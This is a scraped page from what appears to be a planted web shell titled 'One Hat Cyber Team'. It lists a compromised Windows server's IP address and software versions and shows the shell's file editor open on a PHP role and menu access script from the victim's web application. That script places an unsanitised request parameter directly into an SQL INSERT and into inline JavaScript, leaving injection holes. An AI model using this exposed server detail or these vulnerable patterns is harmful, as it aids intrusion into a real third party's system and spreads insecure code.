One Hat Cyber Team
Your IP :
172.16.0.254
Server IP :
58.26.163.33
Server :
Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Server Software :
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
PHP Version :
7.3.25
Buat File
|
Buat Folder
Eksekusi
Dir :
C:
/
xampp7
/
htdocs
/
edgpens
/
utility
/
Edit File:
menu_access.php
<?php if(empty($page)){ include("../access.php"); } ?> <?php $modal_name = str_replace("/", "-", $page); $idRoles = $_GET['idRoles']; ?> <!-- Blank Header --> <div class="content-header"> <div class="row"> <div class="col-sm-6"> <div class="header-section"> <h1><i class="gi gi-group"></i> MENU</h1> </div> </div> <div class="col-sm-6 hidden-xs"> <div class="header-section"> <!-- <ul class="breadcrumb breadcrumb-top"> --> <!-- <li>Extra Pages</li> --> <!-- <li><a href="">Blank</a></li> --> <!-- </ul> --> </div> </div> </div> </div> <!-- END Blank Header --> <!-- Get Started Block --> <div class="block full"> <!-- Get Started Title --> <div class="block-title"> <h2>Menu Access</h2> </div> <!-- [QUERY_STRING] --> <?php $success = 0; if($_POST): $do = $_POST['type_submit']; $idMenu = $_POST['idMenu']; $ins_val = ""; foreach ($idMenu as $key => $value) { $ins_val .= "('{$idRoles}','{$value}'),"; } if(!empty($ins_val)){ $sql = "DELETE FROM utiliti_kawalan WHERE idRoles = ?"; $param_type = "auto"; $param_data = array( "idRoles" => $idRoles ); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $ins_val = substr($ins_val, 0, -1); $sql = "INSERT INTO utiliti_kawalan (idRoles,idMenu) VALUES {$ins_val}"; $param_type = "auto"; $param_data = array(); $data = mysqli_prepare_audit($sql,$param_type,$param_data); $success = 1; $msg = "RECORD UPDATED!"; } if($success == 1){ $_SESSION['success'] = 1; $_SESSION['success_msg'] = $msg; }else if($success == 2){ $_SESSION['success'] = 2; $_SESSION['success_msg'] = "OPS! SOMETHING WRONG"; }else if($success == 3){ $_SESSION['success'] = 3; $_SESSION['success_msg'] = "RECORD DELETED!"; } endif; if($success){ echo "<script>window.location.replace('index.php?page=utility/menu_access&idRoles={$idRoles}&success={$success}');</script>"; exit(); } $param_data = array(); $comb1 = ""; $user = (isset($_GET['user'])) ? $_GET['user'] : '' ; $idrole = (isset($_GET['idrole'])) ? $_GET['idrole'] : '' ; ?> <div class="row"> <form method="post"> <div class="col-sm-4 col-sm-offset-4"> <div class="input-group"> <?php $sqlx = "SELECT * FROM user_roles WHERE idRoles != 5"; $rstx = $mysqli->query($sqlx) or die(mysqli_error($mysqli)); ?> <select class="form-control select-select2 select2_custom validation" data-validation="default" name="idRoles" id="idRoles"> <option value="">-- Choose a Role --</option> <?php while($aa = $rstx->fetch_assoc()){ ?> <option value="<?php echo $aa['idRoles']; ?>" <?php if($aa['idRoles'] == $idRoles){ echo "selected='selected'";} ?> ><?php echo $aa['nama']; ?></option> <?php }?> </select> <div class="input-group-btn" data-toggle="tooltip" data-original-title="Save"> <?php if(!empty($idRoles)){?> <button class="btn btn-effect-ripple btn-primary" style="overflow: hidden; position: relative;"><i class="fa fa-save"></i> Save</button> <?php }else{ ?> <div class="btn btn-effect-ripple btn-primary disabled" style="overflow: hidden; position: relative;"><i class="fa fa-save"></i> Save</div> <?php }?> </div> </div> <hr style="margin: 5px"> <?php if(!empty($idRoles)){ $sql = "SELECT a.*,IF(b.idMenu IS NOT NULL,'Y','N') AS has_access FROM utiliti_menu a LEFT JOIN utiliti_kawalan b ON b.idMenu = a.idMenu AND b.idRoles = ? WHERE 1 AND a.status_active = 'Y' ORDER BY order_no ASC"; $param_data = array( "idRoles" => $idRoles ); $data = mysqli_prepare_all($sql,$param_type = "auto",$param_data); $menu_arr = array(); while($row_data = $data->fetch_assoc()){ // echo $row_data['name']; if(empty($menu_arr[$row_data['level']])) $menu_arr[$row_data['level']] = array(); array_push($menu_arr[$row_data['level']], array( 'idMenu' => $row_data['idMenu'], 'level' => $row_data['level'], 'idMenuMain' => $row_data['idMenuMain'], 'name' => $row_data['name'], 'href' => $row_data['href'], 'order_no' => $row_data['order_no'], 'status_active' => $row_data['status_active'], 'has_separator' => $row_data['has_separator'], 'has_access' => $row_data['has_access'] ) ); } function deploymey($primary_nav,$arr,$lvl,$idMenu = null){ for ($i=0; $i < count($arr[$lvl]); $i++) { $grant = 'Y'; if(!empty($idMenu) && $idMenu != $arr[$lvl][$i]['idMenuMain']) $grant = 'N'; if($grant == 'Y'){ $lvl_next = $arr[$lvl][$i]['level']+1; if(empty($arr[$lvl][$i]['href'])){ $cont_this = 'N'; for ($x=0; $x < count($arr[$lvl_next]); $x++) { if($arr[$lvl_next][$x]['idMenuMain'] == $arr[$lvl][$i]['idMenu']) $cont_this = 'Y'; } if($cont_this == 'Y'){ $sub_nav = array(); $memey = deploymey($sub_nav,$arr,$lvl+1,$arr[$lvl][$i]['idMenu']); array_push($primary_nav, array( 'name' => $arr[$lvl][$i]['name'], 'icon' => 'gi gi-bookmark', 'sub' => $memey ) ); } if(empty($memey)) array_pop($primary_nav); }else{ array_push($primary_nav, array( 'name' => $arr[$lvl][$i]['name'], 'icon' => 'gi gi-bookmark', 'url' => $arr[$lvl][$i]['href'], 'idMenu' => $arr[$lvl][$i]['idMenu'], 'has_access' => $arr[$lvl][$i]['has_access'] ) ); } } } return $primary_nav; } function deployme_access($primary_nav){ for ($i=0; $i < count($primary_nav); $i++) { if(empty($primary_nav[$i]['sub'])){ if($primary_nav[$i]['has_access'] == 'Y') $checkme = "checked='checked'"; else $checkme = ""; echo "<li class='dd-item dd-item-sub3' data-id='1'>"; echo "<div class='dd-handle dd-container'>"; echo "<div>"; echo $primary_nav[$i]['name']; echo "</div>"; echo "<div class='dd-flex1'>"; echo "<label class='csscheckbox csscheckbox-custom csscheckbox-primary' style='padding:0 0;border-color:black'><input {$checkme} type='checkbox' name='idMenu[]' value='{$primary_nav[$i]['idMenu']}'><span></span></label>"; echo "</div>"; echo "</div>"; echo "</li>"; }else{ echo "<li class='dd-item dd-item-sub1' data-id='1'>"; echo "<div class='dd-handle dd-container'>"; echo "<div>"; echo $primary_nav[$i]['name']; echo "</div>"; echo "</div>"; echo "<ol class='dd-list' style=''>"; deployme_access($primary_nav[$i]['sub']); echo "</ol>"; echo "</li>"; } } } $primary_navx = array(); $primary_navx = deploymey($primary_navx,$menu_arr,1); echo "<div id='nestable1' class='dd' style='padding-left:25px'>"; echo "<ol class=dd-list>"; deployme_access($primary_navx); echo "</ol>"; echo "</div>"; }else{ echo "<div class='alert alert-sm alert-warning'>Please Select Roles First!</div>"; } ?> </div> </form> </div> <style type="text/css"> </style> <script src="js/pages/formsValidation.js"></script> <script type="text/javascript"> $(document).ready(function(){ $.select2_custom(); $("[name='idRoles']").on("change",function(){ var t_val = $(this).val(); window.location.replace('index.php?page=utility/menu_access&idRoles='+t_val); }); $(".btn-reset").on("click",function(){ var t_form = $(this).closest("form"); t_form.find("input").not(":button, :submit, :reset, .not_autoset").attr("value","").prop("checked",false); t_form.find(".default_radio, .default_checkbox").prop("checked",true); t_form.find("select").not(".not_autoset").children("option").prop("selected",false).trigger("change"); t_form.find("textarea").not(".not_autoset").val(""); }); $("#val-password").on("trigger_me",function(e){ var trgt = $(this); if(trgt.val().length >= 8){ var numbers = /^[0-9]+$/i; var letters = /^[a-zA-Z]+$/i; var result = false; var valid = false; if(letters.test(trgt.val())) result = true; if(numbers.test(trgt.val())) result = true; trgt.parent().find(".help-block2").remove(); if(result){ trgt.after("<div id=\"val-password-error\" class=\"help-block2 \" style='margin-top:8px;font-weight:400;font-style:italic;color: #de815c'>Your password must be at least 8 characters long and must not contain all numbers or characters</div>"); trgt.closest(".form-group").addClass("has-error2"); return false; }else{ trgt.parent().find(".help-block2").remove(); trgt.closest(".form-group").removeClass("has-error2"); } }else{ trgt.parent().find(".help-block2").remove(); trgt.closest(".form-group").removeClass("has-error2"); } }); $("#val-password").on("keyup",function(e){ $(this).trigger("trigger_me"); }); $("#example-datatable").on("submit",function(){ var e = jQuery.Event("trigger_me"); $("#val-password").trigger(e); return e.result; }); $("#example-datatable").setdatatable().setadddelete(); $('thead input:checkbox').click(function() { var checkedStatus = $(this).prop('checked'); var table = $(this).closest('table'); $('tbody input:checkbox', table).each(function() { $(this).prop('checked', checkedStatus); }); }); $(document).on("click", ".add-me", function(){ var modal_name = ".menu_list"; var level = $(this).data("level") $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find(".default_radio, .default_checkbox").prop("checked",true); $(modal_name).find("select").children("option").prop("selected",false).trigger("change"); $(modal_name).find("textarea").val(""); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $("#form-validation").setvalidation(''); $("#form-validation > [name='type_submit']").val("add"); $("#form-validation > [name='level']").val(level); // console.log($._data($("#form-validation").get(0), "events")); }); $(document).on("click", ".del-me-all", function(){ if(confirm("Delete This Records! Are You Sure?")){ var check_tick = 0; $(this).closest("form").find("input[type='checkbox']").each(function(){ if($(this).prop('checked')) check_tick++; }); if(check_tick>0) $(this).closest("form").submit(); else alert("Please select which record to be remove!"); } }); $(document).on("click", ".del-me", function(){ if(confirm("Delete This Record! Are You Sure?")){ $(this).closest("table").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox']").trigger("click"); $(this).closest("form").submit(); } }) $("#example-datatable tbody").on("click", ".pass-me", function(){ if(confirm("Reset Default Password For This Record! Are You Sure?")){ $(this).closest("table").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox']").trigger("click"); $(this).closest("form").find("[name='type_submit']").val("edit_pass"); $(this).closest("form").submit(); } }) $(document).on("click", ".edit-me", function(){ var modal_name = "."+$(this).data("modal-target"); var editdata = $(this).data("editdata"); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find("select").prop("selected",false); $(modal_name).find("textarea").val(""); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); // console.log(editdata); $("#form-validation").setvalidation(editdata); // $("#form-validation > [name='type_submit']").val("edit"); // console.log($._data($("#form-validation").get(0), "events")); }); $("#val-roles").on("change",function(){ var val_this = $(this).val(); var val_this = parseInt(val_this); if(val_this == 2 || val_this == 5){ $(".approvedg").show(); } else{ $(".approvedg").hide(); $("[name='val-dg'][type='radio'][value='T']").trigger("click"); } }); }); </script> </div>
Simpan